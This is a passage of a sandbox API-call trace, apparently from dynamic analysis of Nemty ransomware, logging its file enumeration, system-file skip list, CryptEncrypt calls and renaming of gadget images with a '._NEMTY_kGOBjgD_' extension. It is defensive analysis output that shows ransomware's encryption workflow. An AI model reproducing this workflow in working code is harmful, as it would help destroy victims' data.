SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.845] CloseHandle (hObject=0xffffffff) returned 0 [0155.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\33.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\33.png._nemty_kgobjgd_")) returned 0 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.845] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="34.png", cAlternateFileName="")) returned 1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2=".") returned 1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="..") returned 1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="...") returned 1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="windows") returned -1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="$RECYCLE.BIN") returned 1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="rsa") returned -1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="NTDETECT.COM") returned -1 [0155.845] lstrcmpiW (lpString1="34.png", lpString2="ntldr") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="MSDOS.SYS") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="IO.SYS") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="boot.ini") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="boot.ini") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="ntuser.dat") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="desktop.ini") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="CONFIG.SYS") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="RECYCLER") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="BOOTSECT.BAK") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="bootmgr") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="programdata") returned -1 [0155.846] lstrcmpiW (lpString1="34.png", lpString2="appdata") returned -1 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="34.png", lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="34.png", lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="34.png", lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="34.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="34.png", lpUsedDefaultChar=0x0) returned 6 [0155.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.846] Sleep (dwMilliseconds=0x5) [0155.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x108b8e50, dwHighDateTime=0x1d561e8)) [0155.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x108b8e50, dwHighDateTime=0x1d561e8)) [0155.857] GetLastError () returned 0x5 [0155.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.857] GetLastError () returned 0x5 [0155.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.858] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.858] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.858] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="bEg+vSppqfjO6hSE++4mMNnPUp63jmsCNL2A6sINe4OyHxzKyfowU13jIjcx+Rx2\r\nGXQ9Yi44+1Cjo5ga/QAwa4JaVLyDyJvldMlMOAFiWhOAYncbZskh+UymCsoxBq+e\r\nPgQFTlfXT/0DxoOd/LqJwoom4Jk2lPObhZyf0ShsyKi3qWYedAaBQvlq0P3ZMzMH\r\nXO+LZzdNCBBPAE3TdGmWedvulDqLV7rLSGO2xP5ONjQfmrUglzIhWq5MBkMUOEmw\r\nbwJVtO1uxsMVTyDVknjfJJw/XTMYW1Vm91Y2r2cmKw8/okJCLwOJUrSbrFdm14jq\r\nudCedTP5WsMuS5tKyi5DUw==\r\n", pcchString=0x653e91c) returned 1 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.858] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.858] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.868] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.868] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.944] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.967] CloseHandle (hObject=0xffffffff) returned 0 [0155.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\34.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\34.png._nemty_kgobjgd_")) returned 0 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.968] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a967ea, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a967ea, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="35.png", cAlternateFileName="")) returned 1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2=".") returned 1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="..") returned 1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="...") returned 1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="windows") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="$RECYCLE.BIN") returned 1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="rsa") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="NTDETECT.COM") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="ntldr") returned -1 [0155.968] 